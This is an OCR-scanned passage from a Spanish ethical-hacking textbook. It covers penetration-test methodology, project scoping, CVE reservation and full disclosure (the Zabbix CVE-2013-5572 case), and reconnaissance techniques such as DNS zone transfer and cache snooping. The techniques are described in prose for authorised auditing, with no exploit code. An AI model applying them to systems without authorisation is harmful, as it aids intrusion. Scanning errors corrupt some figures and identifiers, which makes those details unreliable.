El enfoque de este libro es el de proporcionar al lector una metodologia basada en la experiencia, en
buenas précticas y estandares para llevar a cabo proyectos o procesos de Ethical Hacking.

Un proceso de Ethical Hacking recorre ciertas practicas enfocadas a las distintas pruebas que se
deberan realizar para satisfacer la demanda del cliente. En otras palabras, el proceso puede ser
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dividido en etapas que seran semejantes para las distintas auditorias. y agregados al proceso
comentados anteriormente. de las que puede consistir el Ethical Hacking.

El equipo de auditoria

En toda propuesta para realizar un proceso de Ethical Hacking se debe explicar la composicion del
equipo de auditoria que participara en el proceso. Ademds, es importante reflejar las caracteristicas
de cada uno de los integrantes del equipo, y por supuesto, reflejar que cada integrante del equipo
aporta un punto de vista distinto, siendo experto en una rama concreta de seguridad.

Siempre existira un responsable al cargo del proyecto, el cual seguramente hara tareas de interlocucién
con los responsables del proyecto por parte de la empresa contratante. A continuacion se especifica
detalles que son interesantes incluir en la descripcion de los integrantes:

- Cargo en la empresa.

- Titulaciones disponibles de cada integrante.

- Charlas y conferencias internacionales/nacionales realizadas.

- Certificaciones de seguridad que tiene cada integrante del equipo.

- Certificaciones informéticas disponibles.

- Experiencia cuantitativa en afios de cada miembro del equipo.

- Proyectos similares al que se presentan en los que han participado.

- Premios individuales de cada integrante, si los disponen, tanio académicos, como

profesionales.

- Valores afiadidos.

Alcance del proyecto

Independientemente de la auditoria o agregado de un proceso de Ethical Hacking, siempre s¢ debe
realizar distintos tipos de alcance de proyecto. Si una empresa contrata el servicio de Ethical Hacking
que comprenda varios procesos de auditorta, por ejemplo una interna, perimetral y una prueba de
APT, se debera generar distintos tipos de aleances de proyecto.

En otras palabras, se deberd estudiar el alcance del proyecto global. especificando las tarcas
comprendidas. y los distintos alcances de proyecto de los distintos procesos de auditoria. Ademas, se
debe indicarel numero de jornadas efectivas para llevar a cabo las distintas auditorias, proporcionando
un valor final en jornadas, el cual serd presupuestado.

En el alcance del proyecto se especificard la via de comunicacion y notificacion entre la empresa que
ofrece el servicio y la contratante. En otras palabras, se especificard ante qué situacion la empresa
que realiza el proceso debera notificar vulnerabilidades detectadas, y cudl es la via para llevar a cabo
las notificaciones, por ejemplo utilizando el correo electrénico, mediante el uso de claves PGP, para
proteger la confidencialidad de los documentos.
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La estimacion de jornadas es uno de los puntos criticos del proyecto. Suponiendo el gjemplo anterior

en el que el proyecto de Ethical Hacking estd compuesto por una auditoria interna realizada a dos
segmentos de red, una auditoria perimetral a un dominio y servicios publicos de una empresa objeto,
y por ultimo la prueba de APT a un grupo de personas pertenecientes a la empresa objeto de la
auditoria, se debe estimar un numero de jornadas con los recursos, consultores, que dispone la
empresa para realizar las distintas tareas en un tiempo determinado.

Para este ejemplo se especifican las signientes tablas:

Tareas (Auditoria interna) Jornadas
Recoleceion informacion del entorno interno 0,5
Enumeracion de recursos en el entorno interno 1
Fijacion de objetivos 0,5
Pruebas de auditoria interna (2 Segmentos de red - Desplazamientos 3
horizontales — verticales)
Generacién de informes 2
TOTAL: 7
Tabla 1.01: Estimacion jornadas en auditoria interna.
Tarea (Auditoria perimetral) Jornadas
Recuperacion y recogida de informacion I
Determinacion de topologia |
Identificacion y confirmacion de vulnerabilidades 2
Escalado de privilegios y avance 2
Analisis de aplicativos 2
Generacion de informes 1
TOTAL: 9
Tabla 1.02: Estimacion jornadas en auditoria perimetral.
Tarea (APT) Jornadas
Identificacion de correos electrénicos 0,5
Analisis v envio de correos electrénicos (Posibles pruebas) 2
Generacion de informes 1
TOTAL: 3,5
Tabla 1.03: Estimacion jornadas en APT
Tarea (Global) Jornadas
Test de intrusion perimetral 9
Advanced Persistent Threat 33
Test de intrusidn interno 7
TOTAL: 19,5

Tabla 1.04: Estimacién global de Ethical Hacking.
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Por tltimo, el alcance del proyecto puede indicar cuantos contactos se realizaran al dia con Ia
empresa contratante para informar de las pruebas realizadas. También puede ser necesario indicar
las pruebas que se realizaran a corto plazo, con el fin de notificar posibles peligros de calidad
de servicio en ciertas pruebas criticas. como denegaciones de servicio o escaneos intensivos de
auditorias perimetrales.

Seleccion e informacion del objetivo
En todo proceso dentro del Ethical Hacking existe una etapa donde el auditor dedicard tiempo a la

seleccion e informacion del objetivo. En otras palabras, es totalmente necesario conocer el entorno

al que se enfrenta el auditor para, una vez analizado y entendido exponer las pruebas de evaluacion
de seguridad.

Esta primera etapa dependera del objeto de la auditoria o proceso agregado al que se enfrente
el auditor. Es decir, si se estd realizando una auditoria perimetral, logicamente la recogida de
informacidn sera distinta que si se estd llevando a cabo una auditoria interna. En muchas ocasiones
la recogida de informacion serd muy distinta, ya que un entorne interno es muy distinto al entorno
perimetral, o por gjemple, un prueba de APT o DDOS requieren una recogida de informacién muy
distinta a una auditoria perimetral.

Pero existen elementos que pueden ser extrapolados con el fin de enfocar la parte metodoldgica. En
mayor o menor medida existe una etapa de recogida de informacion global, en la que el auditor se
nutrird de informacion publica, en el caso de una auditoria perimetral, o de las especificaciones que
se le digan en una auditorfa interna.

Para simplificar y ejemplificar lo comentado se realiza un resumen que indique que tipo de
informacion se necesita en cada auditoria o proceso agregado:

- La auditoria perimetral dispone de las fases de fooiprinting y fingerprinting con las que
se realiza una recogida de informacion global y publica en Internet, para después analizarla
v determinar qué roles disponen los sistemas perimetrales, puertos abiertos, versiones de
productos piiblicas. sistemas operativos, servicios, etcétera.

- Laauditoria interna dispone de una fase de recogida de informacion donde se determina
la topologia de la red, conectividad directa con magquinas adyacentes, versiones de productos,
sistemas operativos, puertos abiertos, servicios, etcétera. Como se puede observar, existe un
paralelismo con la auditoria perimetral, aunque el &mbito de trabajo y 1a vision de éstas sean
totalmente distinto,

- La auditorfa de caja blanca lleva esta fase implicita. La parte contratante indicara de qué
equipos y sistemas se debe realizar la muestra de configuraciones y las credenciales con
privilegios a utilizar. Realmente es esta informacién la que se necesita en esta fase, y serd
otorgada por la propia empresa contratante del servicio.

- La prueba de stress dedicada a realizar un DDOS dispone de esta fase en distinta medida.
En algunas ocasiones los encargados de llevar a cabo dicha prueba se retmen con la empresa
contratante para decidir las ventanas temporales sobre las que serd llevado a cabo el ataque.
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Hay que tener en cuenta que el ataque es real, v debe estar controlado y ser ejecutado en
una ventana temporal que no afecta, o afecte lo minimo, a la empresa contratante. Esta
informacion es vital, por parte de los auditores se puede llevar a cabo una fase de fooiprinting
y fingerprinting con el fin de conocer mejor la infraestructura perimetral de la empresa, y
analizar por donde llevar el ataque DDOS.

La prueba de APT dedica una de sus fases a la recoleccién de informacion piiblica de
n. La informacion se obtendrd, en su

las personas que formaran el grupo objetivo de la accio
mayoria gracias a Internet y sus buscadores, servicios como Linkedin o Xing pueden ayudar

a obtener la informacién de nombres reales y puestos de trabajo de la empresa objeto. Las
fuentes de informacion pueden ser desde correos que s¢ envian con la empresa objeto para
conocer el estilo de éstos y poder hacer las pruebas mas reales, e-mails que son publicos en
los sitios web. Linkedin, etcétera. Una vez recolectada la informacion sobre las personas
que serén el objetivo de la prueba se da por finalizada la fase y se estudia los distintos de
amenazas a los que se expondran a dichas personas.

- La fuga de informacion se puede entender como un agregado a la auditoria interna. Por
lo que la recogida de informacion se realiza exactamente igual que en la auditoria interna.
Las hetramientas internas para descubrir servicios, sistemas operativos, puertos, versiones
ayudarén al auditor en esta fase de la prueba.

- Las pruebas wireless y VOIP disponen de una fase de reconocimiento del entorno y
descubrimiento de infraestructura. En el caso de la auditoria wireless se utilizan analizadores
del medio, como airodump-ng, para visualizar los tipos de cifrado. el nimero de puntos
de acceso que tiene la red de la empresa, los canales por los que se emiten, el nimero de
clientes conectados y a qué puntos de acceso, la calidad de la sefial, etcétera. Todo este tipo de
informacién dard informacion al auditor el cual podrd analizarla y llevar a cabo las acciones
necesarias. En el caso de la auditoria VOIP, la recogida de informacion y determinacion de

topologia es mas similar a la auditoria interna.

Confeccion del ataque e intrusién controlada: Ampliacién de miras

En todas las pruebas que pueden constituir el proceso o Ethical Hacking hay una fase en la que
¢l auditor realizard distintos ataques con distintos enfoques u objetivos. Todos ellos tienen una
caracteristica comin y es que todas estas pruebas deben estar bajo control de la empresa y grupo de
auditores que realizan los ataques. En ningln instante el auditor puede perder el control de la prueba
que estd realizando, ya que esto podria causar dafios a la empresa contratante. la que demanda el

servicio.

En las distintas pruebas del proceso debemos confeccionar una serie de pruebas que se realizaran,
buscando la automatizacion en las tareas del auditor. Pero la realidad es diferente, y se sabe que
los sistemas de cada empresa son distintos y con entomos y circunstancias diferentes, por ello no
siempre se¢ podra utilizar un checklist de pruebas.

En un alto porcentaje se puede crear dicho checklist, aunque la experiencia del auditor y el
conocimiento de las diferentes tecnologias a las que el auditor se puede enfrentar es algo vital para
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C()llnplletar el abanico de pruebas. A continuacion se especifican ejemplos de diversas pruebas y el
objetivo global de los ataques realizados a las distintas infraestructuras o usuarios: -

- Enauditorias perimetrales el objetivo es estudiar el nivel de seguridad de los elementos que
se encuentran publicos por parte de la empresa. Una de las auditorias que pueden componer
parte o todo, segin el cliente, de esta seccion es la auditoria web. Como gjemplo de pruebas
que se pueden realizar en las auditorias perimetrales se encuentran: verificacion y validacion
de las comunicaciones, validacion de entradas, manipulacién de parametros, autenticacion
y gestion de sesiones, estudio de algoritmos criptograficos, conﬁguracione&.etcétera. Cada
apartado anterior estd compuesto por distintas pruebas que deben ser diseniadas, en esta
fase, en funcién de los resultados obtenidos en la fase anterior, De este modo se sabe que el
andlisis funcional de los resultados obtenidos anteriormente, y el disefio de pruebas, a partir
de pruebas utilizadas siempre y algunas que pueden surgir de la experiencia del auditor, se
deben llevar a cabo en este instante.

- La auditoria interna tiene como objetivo obtener el maximo de informacién sensible
desde la propia red interna de la organizacion. Esie tipo de pruebas estan encaminadas
Eil cc_moc.imiento y descubrimiento de la implementacion de la red, el conocimiento del
iunmgnamiento de protocolos de autenticacion y servicios de la plataforma que utilice la
01‘,’302111?2"51(:1(’7[1. utilizacion de ataques para movimiento lateral u horizontal y vertical entre
maquinas, y explotacion de vulnerabilidades encontradas en versiones de productos o
aplicaciones internas.

- La auditoria de caja blanca. en este punto. tiene como objetivo el comprobar ¢l estado
de las configuraciones dptimas. enfocadas a la seguridad. En algunos casos, la seguridad se
enfrenta a la productividad o viabilidad del negocio, por lo que el auditor se puede enconlrar
este hecho, que seguramente haga que el nivel de seguridad sea rebajado, siendo ¢l riesgo
aceptado por la direccion de la empresa. I )

- La prueba de stress tiene como objetivo verificar la resistencia, o incluso resiliencia, que
puede tener una organizacion y su infraestructura publica frente a un ataque de dencgacién
fle servicio distribuido. Quiza sea este tipo de pruebas donde el auditor debe disponer en todo
ms_tame el control de lo que estd realizando, y la posibilidad de parar el ataque, ya que si la
infraestructura de la organizacién cae se debera detener la prueba, para que la oi‘ganizatjdn
pueda recuperarse lo antes posible. Se entrara en detalle mas adelante en este tipobde prueba
que es siempre interesante.

- El APT es un proceso que puede ser lento en su preparacion y dedicacién, pero es un
proceso que en gjecucion debe ser rapido, ya que en muchos casos se puede .dcstapar las
distintas pruebas, por lo que el conjunto de muestra queda advertido de lo que sucede a su
alrededor.

- Enlas pruebas de [uga de informacion, el auditor se encuentra en la empresa u organizacion,
y serd en este instante cuando se lleven a cabo las pruebas para intentar sacar i;lf()l'll’]a(:if)ﬂ
del control de la organizacién. Mds adelante, se podra entender que es un procese que parece
sencille. pero que puede ser altamente complejo, en funcion de las medidas de proteceion de
las organizaciones.
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- La auditoria wireless o VOIP, tienen como objetivo descubrir fallos de seguridad o
configuracion en los protocolos utilizados para implantar estas tecnologias. El auditor llevara
a cabo pruebas con el fin de detectar errores de configuracion, protocolos inseguros, estudiar
el entorno y la viabilidad de espionaje en la comunicacion, etcétera. Estas auditorfas, a dia
de hoy, son bastante procedimentales, aunque siempre hay pequefios trucos que pueden dotar
al auditor de alguna prueba diferente ¢ interesante, desde el punto de vista de la seguridad.

Revision del proceso: Medidas correctoras

Una vez los ataques han ido desvelando los fallos de seguridad en las distintas auditorias, el auditor
debe informar y recopilar unas medidas correctoras que solventen los problemas de seguridad
descubiertos. No serd el auditor quién solvente estos fallos de seguridad, pero si serd el que
recomiende la aplicacién de diferentes tareas para mitigar o solventarlos.

En este libro se estudiarén distintas medidas correctoras cada una enfocada a su auditoria pertinente.
Realmente se puede visualizar como una parte tedrica, ya que el auditor conoce en la mayoria de las
ocasiones que si una prueba tiene éxito, es decir detecta una vulnerabilidad, cudl sera la medida que
corrige dicho fallo.

Una de las medidas que se suelen llevar a cabo es la de otorgar a la empresa de un ticmpo determinado
para solventar el fallo encontrado, y poco tiempo después llevar a cabo alguna jornada donde se
realicen pruebas definidas para comprobar y verificar que se ha solventado el fallo descubierto.

L4
Documentacion
Toda prueba debera estar correctamente documentada, en dos tipos de informes. el primero a modo
ejecutivo informando de las observaciones mas destacadas, y el segundo a modo téenico detallando
todo el proceso efectuado en la organizacion y las pruebas realizadas.

Es altamente recomendable que el auditor documente desde ¢l primer dia las pruebas y resultados
que se van obteniendo, tanto para que pueda realizar su trabajo correctamente, Como porque después
el informe se realizara en un perfodo de tiempo menor.

En el capitulo dedicado a la documentacion se podran estudiar distintos tipos de informes reales que
pueden ayudar a entender mejor esta parte de la metodologia.

Interlocutores y almacenamiento de Ia informacion

Es importante que la comunicacion con el cliente siempre vaya protegida, en funcién del ambito
en el que dicha comunicacion se produzca, Todo intercambio digital de documentos, como ya se ha
mencionado anteriormente, deberia realizarse a través de medios seguros.

El ejemplo tipico es el intercambio a través del correo electrénico, el cual deberia ser protegido con
claves PGP, para otorgar confidencialidad e integridad. Ademés, el uso de certificados digitales seria
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adecuado para que el receptor del mensaje pueda autenticar la identidad de quién envia el correo
electronico,

Otro aspecto importante ¢s como el grupo de auditores debe proteger la informacion y documentacion
gue puede ser recibida de parte de la empresa contratante. Tanto esta informacion, como la que los
auditores generan debera ser almacenada de forma segura. a través de un sistema de autenticacion y
control de accesos, y protegiendo la confidencialidad de esta informacidn mediante ¢l uso de cifrado
robusto. Esta informacién debe ser almacenada durante una vigencia méaxima, la cual sera acordada
con el cliente, pero es comun que al finalizar el trabajo se deba destruir de forma segura toda la
informacion.

6. Publicacion de una vulnerabilidad

Cuando un grupo de auditores trabajan en un proceso de Erhical Hacking se pueden encontrar
vuinerabilidades que antes otros no hayan encontrado, por esta razon es importante conocer el
procedimiento para publicar la vulnerabilidad encontrada. A través del MITRE se podra registrar un
CV'E para la nueva vulnerabilidad encontrada por el equipo, o por algliin miembro en concreto, para
su posterior descripeion y liberacidn.

Existen dos modalidades claramente diferenciadas cuando se descubre una nueva vulnerabilidad,
y son, en primer lugar se envia al fabricante del producto para que pueda tomar medidas y. tras
corregir la vulnerabilidad, liberar la informacion mediante un CVE. En segundo lugar, realizar un
Full Diselosure, haciendo saber a la comunidad el fallo de seguridad y como aprovecharse de él.

Siempre hay que ir con la ética por delante, por lo que, siempre se debe elegir la primera via
comentada anteriormente. Solo en el caso de que el fabricante ignore las peticiones de parle del
equipo, seria opeion realizar Full Disclosure.

Reservar CVE

La peticion de reserva de un CVE se realizard a través del correo electronico eve-assignicmitre.org.
En esta peticion el usuario debe especificar que ha encontradoe una vulnerabilidad y que requiere un
CVE. el cual no sera definitivo, ya que si posteriormente en el email que se enviard con los detalles
léenicos no es aceptado, el CVE podra relevarse para otro usuario. De todos modos hay que tener en
cuenta que el tiempo que se tendrd un CVE reservado es alto.

Detalles técnicos para CVE

Una vez se reserva un CVE, se debe exponer los detalles téenicos de la vulnerabilidad, a qué versiones
arccu{, ¥ qué beneficio se obtiene de la explotacion de la vulnerabilidad. No debe ser un documento
Excesivamente complejo o técnico, y si una pequefia guia para explicar el agujero de seguridad, y
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como se puede reproducir. Tras la generacion del escrito, se debe enviar a la direccion de correo
electrénico cve@mitre.org. El envio a esta direccion se llevard a cabo en caso de que el fabricante
haya ignorado los contactos con el equipo de auditoria.

Ejemplo real: CVE-2013-5572

Este ejemplo que se presenta a continuacién corresponde con una vulnerabilidad encontrada por el
equipo de Informética 64 a finales del afio 2012 y principios del afio 2013. Este ejemplo muestra un
Full Disclosure. ¢l cual no debe ser el primer camino, pero que tampoco debe ser descartado.

En primer lugar se llevo a cabo el envio de la peticién de CVE al MITRE, tal y como se puede
visualizar en el siguiente correo electronico.

cve-assign{ miire org

Hello,

I wanted to request a CVE-ID. We have discovered 4 vulnerability in the software Zabbix. We want [0 expose security problems found.

Thank you.

Fig. 1.03: Peticion de CVE al MITRE.

Una vez se proporciona el CVE al usuario, éste prepara el detalle técnico para enviar. A continuacion
se puede visualizar la contestacion del MITRE a la peticion de reserva.

——BEGIN PGP SIGNED MESSAGE—
Hash: SHA1

>| wanted to request a CVE-ID. We have discovered a vuinerability in

>the software Zabbix. We want to expose security preblems found,

Use CVE-2013-6572.

CVE assignment team. MITRE CVE Numbering Authority
M/S M300
202 Burlington Road, Bedford. MA 01730 USA

[ PGP key available through htip://ove milre orafovelrequest _id.himl

—BEGIN PGP SIGNATURE—
Version: GnuPG v1.4.14 (SunOS)

iQEcBAEBAGAGBQJSH1SDAACJE GvefgSNIHMAZTkHI 2fkfer8Xo7wEsS2F8dbuzN3

Fig. 1.04: Respuesta del MITRE otorgando un CVE,

Capitulo I. Ethical Hacking

Como se ha mencionado anteriormente, la preparacion de la explicacion de la vulnerabilidad y
aprovechamiento no debe ser muy extensa. Es preferible que se recoja la explicacién de la
vulnerabilidad, como se puede aprovechar y el impacto o efecto que ésta tiene en su entorno, es
decir, explicacion clara y sencilla.

Date: Wed, 25 Sep 2013 12:22:08 +0200

Bello,

1 attach information about CVE-2013-5572 (Zabbix leakage password).

O £ e b
ID: CVE=-2013-5572

Title: Vulnerability Leak Password Zabbix

Date: 23/08/2013

Status: Not Solved

Scope: Privilege Elevation

Author: Chema Alonso, Pable Gonzédlez, Germédn Sdnchez

mEmeasoamaSEnaeERESEEOaEaDnS

There is a security bug on Zabbix 2.0.5. This bug allows to see a zabbix
user’s password, if this user has a open session in management conscle.
Potentially, This wvulnerability allows to carry on an privilege elevation
affecting the way Rective Directory rescurces on Enterprise Network are
accessed.

Fig. 1.05: Cabecera de la explicacion de la vulnerabilidad CVE-2013-3372.

Por otro lade, para poder realizar un Full Disclosure, el usuario se debe dar de alla en la lista. Para
posteriormente, enviar un correo a la lista con el detalle técnico de la vulnerabilidad. como se ha
podido visualizar en la imagen.

Send Full-Disclosure mailing list submissions to
full-disclosura@lists. grok org.uk

To subscribe or unsubscribe via the World Wide Web. visit
https:/flists arok org uk/mailman/listinfo/full-disclosure

or, via email. send a message with subject or body help' to
full-disclosure-requesti@lists grok.org.uk

You can reach the person managing the list at
fulldisclosure-owner@lists grok org uk

Fig. 1.06: Suscripeion a la lista para su posterior uso.
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Por Giltimo, es cuestién de horas o dias que fuentes acreditadas reconozcan la vulnerabilidad, si el
fabticante no lo ha hecho antes. En ese instante el MITRE validara la vulnerabilidad y otorgara el
CVE como final a quién lo registrd. En la imagen de la siguiente pagina se puede visualizar como
el MITRE valida y presenta la vulnerabilidad bajo ese identificador. indicando el enlace de quién lo
ha validado.

Learn more at National Vulnerabili
= Severity Rating » Fix Information = Vi

on .
Zabblx 2.0.5 aliows’ remote authenticated users to discov
| bind_password value in the HTML source code.

— — =

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

FULLDISC:20130925 CVE-2013-5572
£~il‘.t‘("):/Jﬂf[‘hwES.ﬂE(lham:S.rDmfrlfC?]IV’ESl’fU“d\!'vEJG"SuI'E’F,U] 3-09/0148.himl

.

s |

20130823 Disclaimer: The entry creation date may reflect when the CVE-ID was allocated or reserved, and does not necessarily indicate
ered, shared with the affected vendor, publicly disclosed, or updated in CVE,
T %

[Bhase (Legary).

Assigned (20130823)

Fig. 1.07: CVE-20/3-5372.

7. Nuevas tendencias

Que la seguridad informatica avanza a gran velocidad es algo sabido por todos. cada dia salen
nuevas vulnerabilidades, nuevas formas de atacar, nuevas tecnologias que deben ser auditadas,
nuevos sistemas mas complejos con probabilidad de tener mas fallos. Por esta razén investigadores
en seguridad informatica estudian nuevas formulas con las que mejorar las vias de deteccién de
vulnerabilidades y correccion de éstas.

Pentesting by Design

Como se ha mencionado anteriormente, en ¢l dia a dia aparecen nuevas vulnerabilidades. y las
empresas quedan expuestas a éstas. Siempre aparecen vulnerabilidades que ayudaran a preparar
ataques contra sistemas. y se podra demostrar que se ha conseguido entrar al sistema o a partes
de éste. Historicamente han existido graves incidentes de seguridad que han sacudido a grandes
compafias, organizaciones, gobiernos, etcétera.

El pentesting by design es un nuevo modelo o tendencia el cual responde a la siguiente cuestion, ¢ Por
qué en la mayoria de las ocasiones que se realiza una auditoria de seguridad externa se descubren
fallos de seguridad graves? El pentesting no deberia ser un proceso puntual, deberia ser un proceso
continuo que se ejecute constantemente sobre el ciclo de vida del sistema. Como indica el eslogan
del modelo: un servicio de ataque 24x7 durante la vida del sistema.

Capitulo 1. Ethical Hacking

Un atacante puede realizar distintos ataques cualquier dia sobre los sistemas de una empresa, por lo
que se puede decir que los malos atacan muchisimas mas veces que un auditor, Este hecho hace que
el pentesting by design proporcione soporte desde la fase de disefio de los sistemas. Las empresas de
seguridad que realizan auditorias estdn moviendo el modelo de negocio y utilizando herramientas
de automatizacién para llevar a cabo las auditorias constantemente bajo el modelo expuesto en este
apartado. De esta via los atacantes y los auditores se encuentran casi en un auténtico combate en
ignaldad de condiciones.

Esta nueva tendencia no implica que si la empresa dispone de un equipo de pentesting interno se
deba deshacer de €él. Ambas partes son totalmente compatibles, e incluso, es una buena suma de
soluciones.

Los sistemas deberan estar disefiados para soportar las pruebas constantemente, es decir 24x7. Si
no es asi, los atacantes ya tienen mds posihilidades de conseguir los logros, antes que los auditores
encuentren los fallos de seguridad.

de banda en las comunicaciones en los sistemas disefiados a priori para dar calidad de servicio a
los usua.lrios. mas un porcentaje destinado al ataque continuo de los atacantes, mas un porcentaje
necesario para que los auditores puedan realizar el proceso de pentesting continuo desde el primer
dia. Como se puede visualizar existen tres factores clave en el disefio de los sistemas. A dia de hoy
no existen muchos organismos, empresas o gobiernos preparados para ello, pero la tendencia es Ta
explicada en este apartado.

El pentesting by design necesita un dimensionamiento de la memoria, el almacenamiento v el ancho

Todo estono es suficiente para estar cien por cien seguros, pero permile tener lag mismas oportunidades
que los malos, en la deteccion y explotacion de vulnerabilidades. Una vez el pentesting by design
detecte los fallos de seguridad se deberdn realizar los deberes de la fase de gestion de la seguridad
en los sistemas.

8. Atacantes de sombrero

!El Ethical Hacking es llevado a cabo por los conocidos hackers de sombrero blanco o white hat. El
wacker n . ! - i . s -

i " de sombrero blam?o es una persona que utiliza el hacking de manera ética, con el objetivo de
asegurar y proteger los sistemas de informacion y comunicaciones. Estas personas suelen trabajar
en empresas de seguridad informatica.

Par otro lado, un hacker de sombrero negro o black hat se refiere a una persona que utiliza el
hacking de manera fraudulenta o buscando el beneficio propio. Los hackers de sombrero negro
caen en acciones ilegales, las consecuencias pueden ser graves v acabar en actos juridicos. Estos
tipos F.le hackers son conocidos también como crackers, los cuales muestran habilidades especiales
_r()r]1p1e11do sistemas de seguridad, denegando servicios. accediendo a zonas privadas o restringidas
infectando redes, entre otras acciones, gracias a sus destrezas en el mundo del hacking. o
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Otro término dentro del mundo del hacking y del Ethical Hacking es el de samuréi. Este término se
corresponde con alguien contratado para investigar fallos de seguridad, los cuales investigan casos
sobre los derechos de privacidad. Los samurdi son totalmente contrarios a los crackers y olros tipos
de vandalos de la informatica.

El phreaker es una persona con grandes conocimientos en teléfonos modulares como en disposilivos
maviles.

El wannabe son aquellos usuarios a los que les interesa el hacking y se encuentran en fase de
aprendizaje. El wannabe estd considerado un hacker un potencia, mientras siga aprendiendo y
estudiando.

El lammer o script-kiddie se asocia a una persona con falta de habilidades téenicas o conocimientos
en general. En otras palabras no es un usuario competente en la materia, el cual pretende obtener
un beneficio del hacking sin disponer de los conocimientos necesarios, como se ha comentado
anteriormente. Este tipo de usuarios realiza busquedas de aplicaciones o herramientas de
intrusion o vandalismo informatico con el objetivo de realizar una tarea maliciosa, sin entender
su funcionamiento o las acciones que puede llegar a lograr. En ciertas ocasiones presumen de
conocimientos o habilidades que no poseen, ademas, no disponen de ética a la hora de llevar a cabo
las técnicas de hacking.

Un newhie es un término utilizado para referencia a un novato en el drea de la seguridad informatica.
En esta drea se presupone que no dispondri de muchos conocimientos en esta tematica.

Capitulo [l La informacion es poder

Capitulo 11
La informacion es poder

1. Procesos asociados

Hoy en dia es conocido por todos que la informacion es poder. Los casos de la NS4 y otras agencias
de inteligencia reflgjan en la sociedad que cuanto més se sepa de las conductas, gustos. habitos de
los ciudadanos mayor control se puede tener sobre ellos.

En el ambito de la seguridad ocurre algo similar, cuanto mas se conozca sobre el objetivo més
posibilidades se tendran para encontrar una via por la que tener éxito en un posible ataque.

Existen diversas maneras para conocer informacion sobre los objetivos, aunque también dependera
de la via o forma en la que se consigan. Se podria utilizar a terceros para obtener informacién que
¢llos conocen del objetivo real, por lo que no se accederia directamente a éste. Por otro lado. se
puede ir directamente al objetivo para conseguir la informacién requerida,

Se puede entender la recogida de informacion como una etapa de foorprinting y otra de fingerprinting.
El foorprinting consiste en la busqueda de cualquier tipo de informacion p[lblica_. la cual ]JLle(Lj{c
conseguirse con el desconocimiento del objetivo o porque haya sido publicada a conciencia. [ Qué
puede interesar de todo esto? En este proceso se puede buscar y obtener desde direcciones /P de
la organizacion objetivo, nombres y direcciones /P de servidores internos, cuentas de corrcos
.Clecu‘{'micos de los usuarios de la organizacion, nombres de maquinas, informacion de los dominios.
impresoras, rutas internas, metadatos, etcétera. Cualquier dato que pueda ayudar a conocer mejor la
organizacién objetivo puede ser interesante en un test de intrusion. k

]:":i_ﬁn_gerpr'fming consiste en analizar las huellas que dejan las maquinas, por ejemplo para obtener el
sistema operativo, la version de una aplicacion, puertos abiertos, existencia de firewalls, etcétera. Las
hue.ilﬂs se detectan a través del analisis de las conexiones de red de estas 1néd11i11as. por ejemplo, en
el tipo y forma de las respuestas al establecimiento de las conexiones. Este proceso es llevado a cabo
a través de 2 maneras, de forma activa, es decir, Jas herramientas envian paquetes esperando una
respuesta y en funcion de dicha respuesta se puede inferir ciertas propiedades de ciertas tecnologias
concretas. Se utiliza una base de datos donde se va comparando para obtener la realidad. La otrab\-'ia
¢s la pasiva, dénde la herramienta escucha el trifico para identificar maquinas que actian en la red
comparando las respuestas pero sin llegar a interactuar en la red.
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| Footprinting
i Como se ha mencionado anteriormente, el foorprinting es una etapa, la primera de un fest de
intrusion, en la que el atacante recoge informacién de todo tipo sobre el objetivo. Su fuente es toda
Internet, por 1o que se puede encontrar gran cantidad de informacién.

Después hay que filtrar toda la informacién para quedarse con lo mas importante, pero un proceso
como éste es importante, ya que seguramente descubrird activos de la organizacion en Internet, los
cuales se pueden convertir en posibles vectores de ataque.

El primer paso en el foofprinting es seleccionar el objetivo sobre el que se llevara a cabo el proceso
de obtencion de informacién global. A continuacion se exponen diversas vias y maneras con las que
poder obtener informacién a priori:
- Visitar el o los sitios web de la organizacién, servicios y aplicaciones con el fin de
encontrar errores y conocer la superficie de informacién que tiene el objetivo.
- Busqueda de enlaces mediante motores de busqueda, como Google o Bing, fichero
Robots.txt, errares en llamadas, eteétera.
- Algointeresante es descargar todos los sitios web de la organizacion para poder estudiarlos
y descubrir enlaces o textos que pueden haberse quedado en las propias paginas.
- Por supuesto se debe utilizar los Dorks para preguntar a los motores de bi:squeda: Esto
puede ser automatizado con herramientas como FOCA. Es importante recabar la maxima
informacion posible sobre el dominio, para después ir afinando las busquedas con los n.'u'k;s
que el auditor puede conocer. Mis adelante se veran diferentes verbos para oblener mejores
resultados en buisquedas con estas téenieas, gracias a la GHDB, Google Hacking Database.
. Las versiones anteriores de paginas web también deben ser consultadas, por gjemplo
mediante el uso de Archieve.org.
- (Cémo saber el tamaiio aproximado de la organizacién? Es importante listar llos‘domin_ic’)s
y subdominios de ésta. Toda la informacion que se pueda obtener de esto es lntomxa(.:[on
crucial, por ejemplo listar el méximo de direcciones [P, con lo que se podria tener una idea
aproximada del nimero de maquinas de las que consta la organizacion.
- El estudio de los metadatos de los documentos publicos de una organizacion es algo
importante, ya que gracias a estos, se puede conocer datos de interes de una ol‘ganizaf:ién.
En los metadatos se puede conocer desde emails, software, usuarios, impresoras, etcetera.
Cuantos més metadatos se conozean mas inferencia se puede realizar, y en algunos casos
pueden provocar fugas de informacion importantes, como por ejemplo informacion sobre
conexiones LDAP.
- Apoyarse en servicios como el DNS para saber por dénde navegan los empleados de
la organizacién. Esto puede ser realmente 1til para conocer aplicaciones que pueden ser
vulnerables a técnicas de Evilgrade, Por ejemplo, si el auditor descubre que el DNS de la
organizacion es vulnerable a DNS Caché Snooping. puede preguntar al servidor por dominit?s
que utilizan las aplicaciones en sus actualizaciones. Los dominios por los que preguntaria
serian vulnerables a la téenica de Evilgrade.

Capitulo [I. La informacion es poder

- El DNSyelservidor de correo pueden ayudar a obtener informacion sobre la organizacion.
Otros ejemplos son la transferencia de zona con la que se puede obtener un mapa de maquinas
jugoso. La transferencia de zona puede realizarse debido a cuatro formas, y el error consiste
en que ¢l servidor DNS estd confiando en que quién pide tiene acceso a dicha informacion.
Se puede obtener, como se ha mencionado anteriormente, un mapa de maquinas externas, e
incluso direcciones 1P de maquinas de la red interna, lo cual permite al auditor conocer Ia
infraestructura interna o parte de ella. Por otro lado se puede realizar fuerza bruta sobre el
servidor DNS con el fin de conocer nuevos subdominios que pueden no haberse conocido
antes. No es un proceso rapido, pero con un diccionario adecuado se puede conseguir un
buen resultado. También se pueden realizar resoluciones inversas, es decir, partiendo de una
direccion IP conseguir un dominio objetivo.

- Conocer informacion a través del uso de servicios web puede ayudar a conocer datos de
los dominios de la empresa objetivo que pueden ser relevantes posteriormente. Por ejemplo,
conocer direcciones 7P, subdominios. registradores, localizacion en mapas. servicios con
